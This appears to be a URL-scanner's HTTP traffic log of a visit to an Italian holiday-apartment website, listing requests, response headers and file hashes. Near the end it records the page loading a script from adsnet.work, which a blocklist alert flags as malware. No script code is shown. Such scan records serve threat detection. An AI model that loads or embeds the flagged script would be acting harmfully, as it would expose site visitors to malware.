Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         23.36.76.226
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "0E943AACB4A46480AB031EF294A0E089976EC125C331C15116B6C79F6B0F2FF0"
Last-Modified: Sat, 26 Nov 2022 04:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=6345
Expires: Mon, 28 Nov 2022 18:34:08 GMT
Date: Mon, 28 Nov 2022 16:48:23 GMT
Connection: keep-alive

                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         23.36.76.226
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "0E943AACB4A46480AB031EF294A0E089976EC125C331C15116B6C79F6B0F2FF0"
Last-Modified: Sat, 26 Nov 2022 04:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=6345
Expires: Mon, 28 Nov 2022 18:34:08 GMT
Date: Mon, 28 Nov 2022 16:48:23 GMT
Connection: keep-alive

                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         23.36.76.226
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "0E943AACB4A46480AB031EF294A0E089976EC125C331C15116B6C79F6B0F2FF0"
Last-Modified: Sat, 26 Nov 2022 04:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=6345
Expires: Mon, 28 Nov 2022 18:34:08 GMT
Date: Mon, 28 Nov 2022 16:48:23 GMT
Connection: keep-alive

                                        
                                            POST /gts1c3 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 84
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         142.250.74.3
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Mon, 28 Nov 2022 16:48:23 GMT
Cache-Control: public, max-age=14400
Server: ocsp_responder
Content-Length: 472
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN

                                        
                                            GET /296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2Fdee4f5d4-5a5e-4a39-9681-50795cecc0f4.jpeg HTTP/1.1 
Host: img-getpocket.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

search
                                         34.120.237.76
HTTP/2 200 OK
content-type: image/jpeg
                                        
server: nginx
content-length: 10199
x-amzn-requestid: baee3bbe-7ded-425a-ae39-fccfc8169217
x-xss-protection: 1; mode=block
access-control-allow-origin: *
strict-transport-security: max-age=63072000; includeSubdomains; preload
x-frame-options: DENY
content-security-policy: default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'
x-amz-apigw-id: cOo4iF1VIAMF09g=
x-content-type-options: nosniff
x-amzn-trace-id: Root=1-63828836-5522727b2f09b27e63b23270;Sampled=0
x-amzn-remapped-date: Sat, 26 Nov 2022 21:42:14 GMT
x-amz-cf-pop: SEA19-C2
x-cache: Hit from cloudfront
x-amz-cf-id: CXOqm7bjsSV0aJBTkTI7LsMovjgPeISPt3sZotEc7CjZnUL_y4_OoQ==
via: 1.1 01c28b52813cd0e82f810c492808b142.cloudfront.net (CloudFront), 1.1 d6b180eb367f7de26d67a9f3901b96a6.cloudfront.net (CloudFront), 1.1 google
date: Sun, 27 Nov 2022 21:51:43 GMT
age: 68200
etag: "ae8aa4ce6ddaccba771fe65446926b60fc5628da"
cache-control: max-age=3600,public,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 296x148, components 3\012- data
Size:   10199
Md5:    2cd887044e91d7ed0f1a8d7119ff7dd0
Sha1:   ae8aa4ce6ddaccba771fe65446926b60fc5628da
Sha256: bad283c15531000b7a8c126d442154b64a880cc26196a46cbd2e6266a526db67
                                        
                                            GET /maps/api/mapsjs/gen_204?csp_test=true HTTP/1.1 
Host: maps.googleapis.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Origin: http://www.ilportoappartamenti.com
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/

search
                                         142.250.74.138
HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=UTF-8
                                        
Vary: Origin, X-Origin, Referer
Content-Encoding: gzip
Date: Mon, 28 Nov 2022 16:48:23 GMT
Server: scaffolding on HTTPServer2
Cache-Control: private
Content-Length: 132
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Access-Control-Allow-Origin: http://www.ilportoappartamenti.com
Access-Control-Expose-Headers: vary,vary,vary,content-encoding,date,server,content-length


--- Additional Info ---
Magic:  JSON data\012- , ASCII text
Size:   132
Md5:    3c954b0fdf7d56714cf712d02e0bf056
Sha1:   5c5acb630475cc6198b7191ba1adf49d72dd82f9
Sha256: effda9280db937a1b47807f746c2797cdd1d44ffc3af3e1eee40306d7a9fe632
                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         23.36.76.226
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "0E943AACB4A46480AB031EF294A0E089976EC125C331C15116B6C79F6B0F2FF0"
Last-Modified: Sat, 26 Nov 2022 04:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=6345
Expires: Mon, 28 Nov 2022 18:34:08 GMT
Date: Mon, 28 Nov 2022 16:48:23 GMT
Connection: keep-alive

                                        
                                            GET /analytics.js HTTP/1.1 
Host: www.google-analytics.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

search
                                         142.250.74.174
HTTP/2 200 OK
content-type: text/javascript
                                        
strict-transport-security: max-age=10886400; includeSubDomains; preload
x-content-type-options: nosniff
vary: Accept-Encoding
content-encoding: gzip
cross-origin-resource-policy: cross-origin
server: Golfe2
content-length: 20039
date: Mon, 28 Nov 2022 16:41:08 GMT
expires: Mon, 28 Nov 2022 18:41:08 GMT
cache-control: public, max-age=7200
age: 435
last-modified: Tue, 27 Sep 2022 22:01:05 GMT
alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (1325)
Size:   20039
Md5:    47e6f374ca946fddd5b59871b325736c
Sha1:   baa9282efc8785e84d247c3bff518eaa45f101c4
Sha256: 16580b5c87c58e5702e411f1888fdef511094e4cd6d62bb47d16291ffb25985e
                                        
                                            GET /296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2Fcfaef414-0c01-4bb9-800d-29da0ef5607d.jpeg HTTP/1.1 
Host: img-getpocket.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

search
                                         34.120.237.76
HTTP/2 200 OK
content-type: image/jpeg
                                        
server: nginx
content-length: 8387
x-amzn-requestid: e4ce369f-7654-4c1a-94c2-70c913eb1a01
x-xss-protection: 1; mode=block
access-control-allow-origin: *
strict-transport-security: max-age=63072000; includeSubdomains; preload
x-frame-options: DENY
content-security-policy: default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'
x-amz-apigw-id: cFL0tEcqIAMFXHw=
x-content-type-options: nosniff
x-amzn-trace-id: Root=1-637ec01d-37bd969f4cdfe220096b8c1f;Sampled=0
x-amzn-remapped-date: Thu, 24 Nov 2022 00:51:41 GMT
x-amz-cf-pop: SEA19-C2
x-cache: Miss from cloudfront
x-amz-cf-id: __2hrJIdzCKzhuJ_YfbSSfz-WwyIqnPugk7P6SuYSjn6b2wwm0otCw==
via: 1.1 d83ae0e1ba84e92e58bc1efc23a0c652.cloudfront.net (CloudFront), 1.1 57a21088b36c69a83578b5a5579df58e.cloudfront.net (CloudFront), 1.1 google
date: Sun, 27 Nov 2022 20:58:19 GMT
age: 71404
etag: "c32a57038d3cdbc514c9081c9938eca6a04fb481"
cache-control: max-age=3600,public,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 296x148, components 3\012- data
Size:   8387
Md5:    4e97baa4851785eac92c719abf481c64
Sha1:   c32a57038d3cdbc514c9081c9938eca6a04fb481
Sha256: adb59e982648082e5421f58899a5331b2747e9d45be33c495fbe3ab8cc872b22
                                        
                                            GET /296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2F165667de-df17-4cc6-832c-94f49703bdf2.jpeg HTTP/1.1 
Host: img-getpocket.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

search
                                         34.120.237.76
HTTP/2 200 OK
content-type: image/jpeg
                                        
server: nginx
content-length: 9430
x-amzn-requestid: 454ca8bd-a256-45f2-8b41-feee86c5af82
x-xss-protection: 1; mode=block
access-control-allow-origin: *
strict-transport-security: max-age=63072000; includeSubdomains; preload
x-frame-options: DENY
content-security-policy: default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'
x-amz-apigw-id: cR7wyGCIIAMFhgw=
x-content-type-options: nosniff
x-amzn-trace-id: Root=1-6383d99e-1488f8ce71a91ebc3ad6b7e0;Sampled=0
x-amzn-remapped-date: Sun, 27 Nov 2022 21:41:50 GMT
x-amz-cf-pop: HIO50-C1, SEA19-C2
x-cache: Miss from cloudfront
x-amz-cf-id: ibLuLI6j9EWh0dgk51O7kiPBRyURZ0UdNtlgbBD-SXnDg_GT_tJm8Q==
via: 1.1 8f22423015641505b8c857a37450d6c0.cloudfront.net (CloudFront), 1.1 d8792dbd3191bbe722eba5b536b979c8.cloudfront.net (CloudFront), 1.1 google
date: Sun, 27 Nov 2022 22:01:16 GMT
age: 67627
etag: "075531f525e625b117b2497f31139c9824d0e9c5"
cache-control: max-age=3600,public,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 296x148, components 3\012- data
Size:   9430
Md5:    1f434933b5bd6377d299ada22d1ae7ef
Sha1:   075531f525e625b117b2497f31139c9824d0e9c5
Sha256: b587a3249e4f20112088608e3651c2ccbc44225a5c9d88d3bf5884d7f0e9029c
                                        
                                            GET /296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2Fba57ea10-c30b-4188-bb72-b589f3564094.jpeg HTTP/1.1 
Host: img-getpocket.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

search
                                         34.120.237.76
HTTP/2 200 OK
content-type: image/jpeg
                                        
server: nginx
content-length: 8817
x-amzn-requestid: 31bd21c7-1d75-4159-af51-52035da16da4
x-xss-protection: 1; mode=block
access-control-allow-origin: *
strict-transport-security: max-age=63072000; includeSubdomains; preload
x-frame-options: DENY
content-security-policy: default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'
x-amz-apigw-id: b-krGE6AIAMF2Kg=
x-content-type-options: nosniff
x-amzn-trace-id: Root=1-637c1b13-32a7b9c6642592c70783a0cf;Sampled=0
x-amzn-remapped-date: Tue, 22 Nov 2022 00:42:59 GMT
x-amz-cf-pop: SEA19-C2
x-cache: Hit from cloudfront
x-amz-cf-id: ZJu4cMNnQTavxqB1MnRFluzfZC59BcUnIHgXh9h6LJWYgsFL83rHoQ==
via: 1.1 1cc6ed0d2d3dd9529ce544f9dfe61a52.cloudfront.net (CloudFront), 1.1 82ea95080f526df99896343fb7269b06.cloudfront.net (CloudFront), 1.1 google
date: Mon, 28 Nov 2022 16:15:25 GMT
age: 1978
etag: "308c08784ce4a0757cbd112807555b83e17a1d56"
cache-control: max-age=3600,public,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 296x148, components 3\012- data
Size:   8817
Md5:    741ddfb19764ac9a77509e7e87cfbfb2
Sha1:   308c08784ce4a0757cbd112807555b83e17a1d56
Sha256: e9271a76da94d8b655860c3b00d111396c5d3a227fd2f19e0ef400fd5e84d87e
                                        
                                            GET /296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2Fa78e81d9-dbc4-4911-9711-219f64026531.jpeg HTTP/1.1 
Host: img-getpocket.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

search
                                         34.120.237.76
HTTP/2 200 OK
content-type: image/jpeg
                                        
server: nginx
content-length: 10944
x-amzn-requestid: 8f48c27c-bbec-46f5-9c08-1cc804b9aff7
x-xss-protection: 1; mode=block
access-control-allow-origin: *
strict-transport-security: max-age=63072000; includeSubdomains; preload
x-frame-options: DENY
content-security-policy: default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'
x-amz-apigw-id: cIbJ_FyvIAMFhrQ=
x-content-type-options: nosniff
x-amzn-trace-id: Root=1-63800bd9-2ffa8521241a5e5b0afc0935;Sampled=0
x-amzn-remapped-date: Fri, 25 Nov 2022 00:27:05 GMT
x-amz-cf-pop: SEA19-C2
x-cache: Hit from cloudfront
x-amz-cf-id: 4YiBUU3kS0VrcVOwKXUHgIRygLLeXGp1TjBYDi6WwWWm6WMKktzfHg==
via: 1.1 98e601970ea59f4d5f56a752787ff9fc.cloudfront.net (CloudFront), 1.1 f9d716a351f14a0ac1fac2449734849a.cloudfront.net (CloudFront), 1.1 google
date: Sun, 27 Nov 2022 22:36:32 GMT
age: 65511
etag: "a23fd98701ac35cd8740d1f7a832118c770e20c8"
cache-control: max-age=3600,public,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 296x148, components 3\012- data
Size:   10944
Md5:    5e586c141835f4ac8819c55dcb811b4d
Sha1:   a23fd98701ac35cd8740d1f7a832118c770e20c8
Sha256: 4296f391f755a649897a2211f9072c69a0510e43a313674908bb0a771b12650e
                                        
                                            GET /wp-content/uploads/2013/07/sfondo-3.jpg HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:23 GMT
Content-Length: 489789
Connection: keep-alive
Last-Modified: Thu, 18 Jul 2013 15:53:12 GMT
Accept-Ranges: bytes
X-ServerName: ipvsproxy166.ad.aruba.it


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 1920x1440, components 3\012- data
Size:   489789
Md5:    c5773c9494213ecb42bd073ef21c6174
Sha1:   a23cc469722150c8881fa132ca95607fd37266f3
Sha256: b06099a697e1ee122c95f39492581e690a546c5b509af89a9efdb33df97754db
                                        
                                            GET /296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2F36d8942f-c540-4112-a5a9-c7ac53a00a23.jpeg HTTP/1.1 
Host: img-getpocket.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

search
                                         34.120.237.76
HTTP/2 200 OK
content-type: image/jpeg
                                        
server: nginx
content-length: 6376
x-amzn-requestid: 25b82353-9c15-44c0-ada5-55f4697de935
x-xss-protection: 1; mode=block
access-control-allow-origin: *
strict-transport-security: max-age=63072000; includeSubdomains; preload
x-frame-options: DENY
content-security-policy: default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'
x-amz-apigw-id: cR6_KGeaoAMFb_Q=
x-content-type-options: nosniff
x-amzn-trace-id: Root=1-6383d860-71711cca7c063030292c5e47;Sampled=0
x-amzn-remapped-date: Sun, 27 Nov 2022 21:36:32 GMT
x-amz-cf-pop: HIO50-C1, SEA19-C2
x-cache: Hit from cloudfront
x-amz-cf-id: odmAWkNyUMevvXStu7zRJyckokhyBjUwu7-JSvj8by-JWJ9eAm9P5Q==
via: 1.1 0aebf3fe433ff96e68d785fad4ea4c0e.cloudfront.net (CloudFront), 1.1 64f86ae1c24221f3a2e4d653d6dbc416.cloudfront.net (CloudFront), 1.1 google
date: Sun, 27 Nov 2022 22:01:26 GMT
age: 67617
etag: "53b12a8702f7c5b7cc697e2a24da824d9434be65"
cache-control: max-age=3600,public,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 296x148, components 3\012- data
Size:   6376
Md5:    78b1389f425425d0450c94d900404dc4
Sha1:   53b12a8702f7c5b7cc697e2a24da824d9434be65
Sha256: 0c1659ab3afc6e45f9e3acb12f8865bb99e4668f7df4501b1cc740e53f5b62ed
                                        
                                            GET /favicon.ico HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: image/vnd.microsoft.icon
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:23 GMT
Content-Length: 0
Connection: keep-alive
X-ServerName: ipvsproxy166.ad.aruba.it

                                        
                                            POST /gts1c3 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 84
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         142.250.74.3
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Mon, 28 Nov 2022 16:48:23 GMT
Cache-Control: public, max-age=14400
Server: ocsp_responder
Content-Length: 472
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN

                                        
                                            GET /avatar/3c4258b204722f4ad957d25f48ca6147?s=90&d=http%3A%2F%2F1.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D90&r=G HTTP/1.1 
Host: 1.gravatar.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/

search
                                         192.0.73.2
HTTP/1.1 302 Found
Content-Type: text/html; charset=utf-8
                                        
Server: nginx
Date: Mon, 28 Nov 2022 16:48:23 GMT
Content-Length: 0
Connection: keep-alive
Last-Modified: Wed, 11 Jan 1984 08:00:00 GMT
Link: <https://www.gravatar.com/avatar/3c4258b204722f4ad957d25f48ca6147?s=90&d=http%3A%2F%2F1.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D90&r=G>; rel="canonical"
Location: http://1.gravatar.com/avatar/ad516503a11cd5ca435acc9bb6523536?s=90
Expires: Mon, 28 Nov 2022 16:53:23 GMT
Cache-Control: max-age=300
X-nc: MISS arn 1

                                        
                                            GET /scripts/placer.js HTTP/1.1 
Host: adsnet.work
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

search
                                         193.3.19.36
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
                                        
Date: Mon, 28 Nov 2022 16:48:23 GMT
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
X-Powered-By: PHP/7.4.26
Access-Control-Allow-Origin: *
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked


--- Additional Info ---
Magic:  ASCII text
Size:   377
Md5:    4435b6168b6acda2edea1c16ab2d857a
Sha1:   eff2c42517e44a568b5011125b5cba022f27f67f
Sha256: dcd5ff0b5118befd94a04b7bbc750b5a7b473e39fefd81e235f79bd848916569

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /avatar/ad516503a11cd5ca435acc9bb6523536?s=90 HTTP/1.1 
Host: 1.gravatar.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://www.ilportoappartamenti.com/
Connection: keep-alive

search
                                         192.0.73.2
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Server: nginx
Date: Mon, 28 Nov 2022 16:48:23 GMT
Content-Length: 1379
Connection: keep-alive
Last-Modified: Sat, 01 Mar 2008 02:44:06 GMT
Link: <https://www.gravatar.com/avatar/ad516503a11cd5ca435acc9bb6523536?s=90>; rel="canonical"
Content-Disposition: inline; filename="ad516503a11cd5ca435acc9bb6523536.png"
Access-Control-Allow-Origin: *
Expires: Mon, 28 Nov 2022 16:53:23 GMT
Cache-Control: max-age=300
X-nc: HIT arn 1
Accept-Ranges: bytes


--- Additional Info ---
Magic:  PNG image data, 90 x 90, 8-bit/color RGBA, non-interlaced\012- data
Size:   1379
Md5:    4d8b99fd51185a556f7936e255f3207d
Sha1:   cb303b621a93b3dd93f32b783d8bab1f5f08a513
Sha256: d372442fcc757c4c486a6258c75bf48701209c23e17b62d8febb5d76fc0913bd
                                        
                                            GET /r/__utm.gif?utmwv=5.7.2&utms=1&utmn=1529370432&utmhn=www.ilportoappartamenti.com&utmcs=UTF-8&utmsr=1280x1024&utmvp=1268x939&utmsc=24-bit&utmul=en-us&utmje=0&utmfl=-&utmdt=IL%20PORTO%20%E2%80%93%20info%20offerte%20e%20promozioni%20-%20Il%20Porto%20Appartamenti%20Vacanza&utmhid=754582120&utmr=-&utmp=%2Finfo-offerte%2F&utmht=1669654102965&utmac=UA-42166297-6&utmcc=__utma%3D43408125.1219902187.1669654103.1669654103.1669654103.1%3B%2B__utmz%3D43408125.1669654103.1.1.utmcsr%3D(direct)%7Cutmccn%3D(direct)%7Cutmcmd%3D(none)%3B&utmjid=1413576407&utmredir=1&utmu=qAAAAAAAAAAAAAAAAAAAAAAE~ HTTP/1.1 
Host: www.google-analytics.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/

search